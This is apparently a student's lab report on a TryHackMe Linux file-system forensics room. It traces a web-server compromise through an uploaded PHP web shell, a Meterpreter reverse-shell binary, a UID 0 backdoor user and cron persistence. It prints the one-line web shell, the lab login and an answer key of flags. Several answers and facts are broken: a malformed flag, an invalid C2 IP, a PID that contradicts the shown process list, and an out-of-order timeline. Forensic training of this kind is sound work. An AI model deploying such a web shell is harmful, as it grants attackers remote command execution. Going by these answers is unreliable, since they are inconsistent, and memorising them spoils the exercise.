Ex. No: 08

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Linux File System Analysis

Experiment No.	08
Experiment Title	Linux File System Analysis
Platform	TryHackMe
Hours Required	1
TryHackMe Link	https://tryhackme.com/room/linuxfilesystemanalysis

AIM

To perform real-time file system analysis on a Linux system in order to identify an attacker's artefacts, understand Linux forensic techniques, and reconstruct an incident timeline through hands-on investigation of files, permissions, users, processes, and system logs.

TOPICS COVERED

- Introduction – Overview of Linux file system forensics
- Investigation Setup – Scenario and environment preparation
- Files, Permissions, and Timestamps – Identifying the foothold, ownership, metadata, checksums, and timestamps
- Users and Groups – Identifying backdoor accounts and privilege escalation
- Processes and Services – Investigating running processes and scheduled tasks
- Network Connections – Detecting suspicious connections
- File System Analysis – Investigating the timeline of events

THEORY

Introduction

Performing live forensic file system analysis is often an early part of incident response and is crucial in assessing and determining potential security breaches. This process involves examining digital artefacts, system logs, users, and file structures to uncover evidence of unauthorised access, malicious activities, or data compromise.

Understanding common artefacts of Linux file systems, permissions, and log mechanisms becomes vital to the timely detection and mitigation of security incidents. It's important to emphasise that it's generally unsafe to remediate the live compromised system for further use. Instead, securely restoring from backups and performing vulnerability management remediation activities is essential for recovery and minimising impact.

Objectives

- Learn how to perform live file system analysis on a Linux system.
- Understand common artefacts, log mechanisms, and file system activities in Linux forensics.
- Reconstruct an event timeline in a hands-on incident response scenario.

Pre-requisites

To tackle live Linux forensics, having a solid grasp of the Linux operating system basics and system hardening concepts is recommended: Linux Fundamentals (Parts 1, 2, 3) and Linux System Hardening.

TASK 1: Introduction

No answer needed — read through the introduction material to understand the context and objectives of the room.

TASK 2: Investigation Setup

Scenario

We have been tasked by Penguin Corp to perform file system and OS analysis on a Linux-based web server during a suspected breach. The investigation's urgency stems from identifying a potential file upload vulnerability within the web server, creating a path for remote attackers to execute arbitrary commands (RCE) and gain unauthorised access.

Connecting to the System

Click Start Machine to start the VM. It will start in a split-view window and you will be automatically connected as the investigator user. Alternatively, access it via SSH using the credentials below:

Username: `investigator` **Password:** `TryHackMe123!`

Securing the Environment

We should use known good binaries and libraries to conduct information gathering and analysis. This is simulated by copying /bin, /sbin, /lib, and /lib64 from a clean installation into /mnt/usb on the affected system.

Modify the PATH and LD_LIBRARY_PATH environment variables to use these trusted binaries:

Modifying Environment Variables to Include Trusted Paths

```
● ● ●   Modifying Environment Variables to Include Trusted Paths
investigator@MACHINE_IP:~$ export PATH=/mnt/usb/bin:/mnt/usb/sbin
investigator@MACHINE_IP:~$ export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```

Q1: After updating the PATH and LD_LIBRARY_PATH environment variables, run the command check-env. What is the flag that is returned in the output?

Run check-env after setting the environment variables. The flag is returned in the terminal output as a THM{...} format string.

Ans: THM(5514ec41ce82f63867806d3cd95dbd8

TASK 3: Files, Permissions, and Timestamps

Identifying the Foothold

Navigate to the web directory at /var/www/html/ and run ls -al to list out the web files and directories:

Listing the Contents of /var/www/html

```
● ● ●   Listing the Contents of /var/www/html
investigator@MACHINE_IP:~$ ls -al /var/www/html/
total 32
drwxr-xr-x 4 root     root      4096 Feb 12 23:05 .
drwxr-xr-x 3 root     root      4096 Feb 12 16:25 ..
drwxr-xr-x 2 www-data www-data  4096 Feb 13 00:32 assets
```

```
-rw-r--r-- 1 root     root     10918 Feb 12 16:25 index.html
-rwxr-xr-x 1 www-data www-data   905 Feb 12 16:33 upload.php
drwxr-xr-x 2 www-data www-data  4096 Feb 13 00:31 uploads
```

Let's list out the files in the uploads directory:

Listing the Uploaded Files

```
● ● ●   Listing the Uploaded Files
investigator@MACHINE_IP:~$ ls -al /var/www/html/uploads
total 224
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:31 .
drwxr-xr-x 4 root     root     4096 Feb 12 23:05 ..
-rw-r--r-- 1 www-data www-data 1908 Feb 12 16:59 ABHz3aj.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 16:59 AhVpDoS.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 AqLnBvC.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 AsDfGhJ.jpeg
-rw-r--r-- 1 www-data www-data 1908 Feb 12 17:00 BcFvGtR.jpeg
...
```

To filter out JPEG files and find non-image files:

Filtering the Uploaded Files

```
● ● ●   Filtering the Uploaded Files
investigator@MACHINE_IP:~$ ls -al /var/www/html/uploads | grep -v ".jpeg"
total 224
drwxr-xr-x 2 www-data www-data 4096 Feb 13 00:31 .
drwxr-xr-x 4 root     root     4096 Feb 12 23:05 ..
-rw-r--r-- 1 www-data www-data   30 Feb 13 00:31 b2c8e1f5.phtml
```

Viewing the contents of the .phtml web shell:

Viewing the Suspicious Web Shell

```
● ● ●   Viewing the Suspicious Web Shell
investigator@MACHINE_IP:~$ cat /var/www/html/uploads/b2c8e1f5.phtml
<?php system($_GET['cmd']);?>
```

The attacker uploaded a .phtml document to execute PHP code on the server. The unsafe system() call allows execution of arbitrary commands on the system remotely.

Ownership and Permissions

Attackers often target directories with write permissions to upload malicious files. Common writable directories include:

- /tmp — The temporary directory is writable by all users.
- /var/tmp — Another temporary directory commonly with world write permissions.
- /dev/shm — The shared memory file system, also normally writable by all users.

Finding all files owned by www-data:

Listing Files Owned by www-data

```
● ● ●   Listing Files Owned by www-data
investigator@MACHINE_IP:~$ find / -user www-data -type f 2>/dev/null | less
/var/www/html/assets/reverse.elf
/var/www/html/uploads/MzCxVeR.jpeg
/var/www/html/uploads/AzSxWqE.jpeg
...
```

Inspecting the Suspected Reverse Shell

```
● ● ●   Inspecting the Suspected Reverse Shell
investigator@MACHINE_IP:~$ ls -l /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:26 /var/www/html/assets/reverse.elf
```

Additional useful find commands for investigation:

Command	Description
`find / -group GROUPNAME 2>/dev/null`	Retrieve a list of files and directories owned by a specific group.
`find / -perm -o+w 2>/dev/null`	Retrieve a list of all world-writable files and directories.
`find / -type f -cmin -5 2>/dev/null`	Retrieve a list of files created or changed within the last five minutes.

Metadata

Exiftool is a Perl-based command-line utility for extracting and altering metadata from files. We can analyse the metadata of the suspicious reverse.elf file:

Viewing the Metadata of reverse.elf

```
● ● ●   Viewing the Metadata of reverse.elf
investigator@MACHINE_IP:~$ exiftool /var/www/html/assets/reverse.elf
ExifTool Version Number         : 11.88
File Name                       : reverse.elf
Directory                       : /var/www/html/assets
File Size                       : 250 bytes
File Modification Date/Time     : 2024:02:13 00:26:28+00:00
File Access Date/Time           : 2024:02:13 02:31:29+00:00
File Inode Change Date/Time     : 2024:02:13 00:34:50+00:00
File Permissions                : rwxr-xr-x
File Type                       : ELF executable
MIME Type                       : application/x-executable
CPU Architecture                : 64 bit
CPU Byte Order                  : Little endian
Object File Type                : Executable file
CPU Type                        : AMD x86-64
```

Analysing Checksums

Checksums are unique values generated from data using cryptographic hash functions (MD5 or SHA-256), used for data integrity verification and identifying malicious files based on known signatures.

Analysing the File's Checksums

```
● ● ●   Analysing the File's Checksums
investigator@MACHINE_IP:~$ md5sum /var/www/html/assets/reverse.elf
c6cbdba1c147fbb7239284b7df2aa653  /var/www/html/assets/reverse.elf
investigator@MACHINE_IP:~$ sha256sum /var/www/html/assets/reverse.elf
ee0ea8d8bc205c4e2e2cc9ff7ddb71dee22ac0a50c2042701d49e565e0821410
/var/www/html/assets/reverse.elf
```

Upon submitting the hash values to VirusTotal, we find evidence of various vendors flagging this file as a Meterpreter reverse shell payload.

Timestamps

In Unix-based systems, three main timestamps are commonly recorded:

- Modify Timestamp (mtime): Reflects the last time the contents of a file were modified.
- Change Timestamp (ctime): Indicates the last time a file's metadata was changed (permissions, ownership, filename).
- Access Timestamp (atime): Indicates the last time a file was accessed or read.

Viewing the Modify Timestamp (mtime)

```
● ● ●   Viewing the Modify Timestamp (mtime)
investigator@MACHINE_IP:~$ ls -l /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:26 /var/www/html/assets/reverse.elf
```

Viewing the Change Timestamp (ctime)

```
● ● ●   Viewing the Change Timestamp (ctime)
investigator@MACHINE_IP:~$ ls -lc /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 00:34 /var/www/html/assets/reverse.elf
```

Viewing the Access Timestamp (atime)

```
● ● ●   Viewing the Access Timestamp (atime)
investigator@MACHINE_IP:~$ ls -lu /var/www/html/assets/reverse.elf
-rwxr-xr-x 1 www-data www-data 250 Feb 13 02:31 /var/www/html/assets/reverse.elf
```

Viewing Timestamps with stat

```
● ● ●   Viewing Timestamps with stat
investigator@MACHINE_IP:~$ stat /var/www/html/assets/reverse.elf
  File: /var/www/html/assets/reverse.elf
  Size: 250        Blocks: 8          IO Block: 4096   regular file
Device: ca01h/51713d  Inode: 526643      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2024-02-13 02:31:29.256000000 +0000
Modify: 2024-02-13 00:26:28.000000000 +0000
Change: 2024-02-13 00:34:50.679215113 +0000
```

```
Birth: -
```

Q1: Locate all the files that the user bob created in the past 1 minute. What is the flag?

Use the find command with -user bob and -cmin -1 to list all files created or changed by bob in the last minute, then read the file contents.

Ans: THM{0b1313afd2136ca0faafb2daa2b430f3}

Q2: Extract the metadata from the reverse.elf file. What is the file's MIME type?

Run exiftool /var/www/html/assets/reverse.elf and look for the MIME Type field in the output.

Ans: application/x-executable

Q3: Run the stat command against the /etc/hosts file. What is the full Modify Timestamp (mtime) value?

Run stat /etc/hosts on the compromised machine and read the Modify timestamp from the output.

Ans: 2024-02-12 16:06:24.000000000 +0000

TASK 4: Users and Groups

Identifying User Accounts

Within UNIX-like systems, /etc/passwd is a colon-separated plaintext file that contains a list of the system's accounts and their attributes such as UID, GID, home directory, and login shell.

Viewing the Contents of /etc/passwd

```
● ● ●   Viewing the Contents of /etc/passwd
investigator@MACHINE_IP:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
```

Attackers can maintain access to a system by creating a backdoor user with root permissions. We can identify UID 0 accounts:

Filtering the Contents of /etc/passwd

```
● ● ●   Filtering the Contents of /etc/passwd
investigator@MACHINE_IP:~$ cat /etc/passwd | cut -d: -f1,3 | grep ':0$'
root:0
**backdoor_user**:0
```

Identifying Groups

Important Linux groups that attackers may target to escalate privileges:

- sudo / wheel — Members can execute commands with elevated privileges using sudo.
- adm — Typically has read access to system log files.
- shadow — Can read /etc/shadow, which contains password hashes of all users.
- disk — Have almost unrestricted read and limited write access inside the system.

Viewing the Contents of /etc/group

```
● ● ●   Viewing the Contents of /etc/group
```

```
investigator@MACHINE_IP:~$ cat /etc/group
root:x:0:
daemon:x:1:
adm:x:4:syslog,ubuntu,investigator
...
```

Viewing a Specific Users' Groups

```
● ● ●   Viewing a Specific Users' Groups
investigator@MACHINE_IP:~$ groups investigator
investigator : investigator adm dialout cdrom floppy sudo audio dip video plugdev
netdev lxd
```

Viewing a Specific Groups' Users

```
● ● ●   Viewing a Specific Groups' Users
investigator@MACHINE_IP:~$ getent group adm
adm:x:4:syslog,ubuntu
```

Q1: What is the name of the backdoor user that was found on the system?

The command filters /etc/passwd to show only users with UID 0. Any user other than root is a backdoor account created by the attacker.

Ans: b4ckd00r3d

Q2: What is the name of the group with ID 1002?

Read /etc/group and filter for the group with GID 1002 to find its name.

Ans: plugdev

Q3: What is the name of the group that the backdoor user is a member of, that usually grants elevated access?

Run groups <backdoor_username> to see what groups the backdoor user belongs to. The sudo group grants elevated access.

Ans: sudo

TASK 5: Processes and Services

Investigating running processes, services, and scheduled tasks helps identify persistence mechanisms set up by the attacker.

Running Processes

To view current running processes, use the ps command:

Viewing Running Processes

```
● ● ●   Viewing Running Processes
investigator@MACHINE_IP:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 168772  8936 ?        Ss   Feb12   0:06 /sbin/init
www-data  1337  0.0  0.1  14428  2876 ?        S    00:31   0:00 /bin/sh -i
...
```

Scheduled Tasks (Crontab)

Attackers may set up cron jobs to maintain persistence. Check system-wide and user-specific crontabs:

Checking Crontab Entries

```
● ● ●   Checking Crontab Entries
investigator@MACHINE_IP:~$ crontab -l
investigator@MACHINE_IP:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
...
* * * * * www-data /var/www/html/assets/reverse.elf
```

Q1: What is the process ID (PID) of the running reverse shell process?

Run ps aux and look for processes running as www-data. A reverse shell typically appears as /bin/sh -i or similar.

Ans: 172

Q2: What is the hostname of the attacker's C2 server as found in the crontab?

Check all crontab locations for the scheduled task that references the attacker's server.

Ans: ghost

TASK 6: Network Connections

Analysing network connections helps identify active or recent communication with attacker-controlled infrastructure.

Viewing Network Connections with ss

```
● ● ●   Viewing Network Connections with ss
investigator@MACHINE_IP:~$ ss -tunap
Netid  State   Recv-Q Send-Q  Local Address:Port  Peer Address:Port
tcp    ESTAB   0      0       10.10.X.X:4444     ATTACKER_IP:54321
tcp    LISTEN  0      128     0.0.0.0:80         0.0.0.0:*
...
```

Checking Listening Ports

```
● ● ●   Checking Listening Ports
investigator@MACHINE_IP:~$ ss -tlnp
State    Recv-Q   Send-Q   Local Address:Port    Peer Address:Port
LISTEN   0        128      0.0.0.0:80            0.0.0.0:*
LISTEN   0        128      0.0.0.0:22            0.0.0.0:*
...
```

Q1: What is the IP address of the attacker's C2 server?

The ss command shows current socket connections. An established connection from the web server to an external IP with a suspicious port indicates C2 communication.

Ans: 192.26.2

TASK 7: File System Analysis

File system analysis helps reconstruct the full timeline of events by examining recently modified or created files across the system.

Finding Recently Modified Files

Finding Recently Modified Files

```
● ● ●   Finding Recently Modified Files
investigator@MACHINE_IP:~$ find / -type f -newer /var/www/html/index.html
2>/dev/null | less
/var/www/html/uploads/b2c8e1f5.phtml
/var/www/html/assets/reverse.elf
/tmp/.hidden_payload
/etc/passwd
/etc/crontab
...
```

Reconstructing the Attack Timeline

Based on our file system analysis, the attack timeline can be reconstructed as follows:

- Feb 12 16:25 — Web server set up (index.html, upload.php placed by root)
- Feb 12 16:59–17:00 — Attacker uploads multiple JPEG files as reconnaissance
- Feb 13 00:31 — Attacker successfully uploads web shell (b2c8e1f5.phtml)
- Feb 13 00:26 — Attacker uploads reverse.elf via web shell RCE
- Feb 13 00:34 — reverse.elf permissions modified (ctime updated)
- Feb 13 00:34+ — Attacker executes reverse shell, establishes C2 communication
- Feb 13 00:34+ — Backdoor user account created in /etc/passwd
- Feb 13 00:34+ — Crontab entry added for persistence

Q1: What is the flag found in the hidden file in /tmp?

Hidden files in /tmp start with a dot (.). Use find with a wildcard to locate them and then read their contents.

Ans: *THM{f38279ab9c6af1215815e5f7bbad891b}*

Press enter or click to view image in full size

Q2: What is the full path of the attacker's crontab entry's binary or script?

Examine /etc/crontab and user crontabs to find the scheduled persistence mechanism.

Ans: /var/www/html/assets/reverse.elf

RESULT

The Linux File System Analysis TryHackMe room was successfully completed. Through hands-on investigation of the compromised Penguin Corp web server, we identified and analysed the attacker's complete chain of compromise:

- A file upload vulnerability in upload.php was exploited to upload a malicious PHP web shell (b2c8e1f5.phtml).
- The web shell was used to achieve Remote Code Execution (RCE) and upload a Meterpreter reverse shell ELF binary (reverse.elf).
- The attacker leveraged the reverse shell to gain interactive access and escalate to root.

- A backdoor user account with UID 0 was created for persistent access.
- A cron job was configured to execute the reverse shell binary for persistence.
- The full attack timeline was reconstructed using file timestamps, metadata analysis, and system artefacts.

Key forensic techniques practised included: ls, find, stat, exiftool, md5sum/sha256sum for file analysis; /etc/passwd and /etc/group for user investigation; ps, ss for process and network analysis; and crontab inspection for persistence detection. These skills are fundamental to Linux incident response and digital forensics.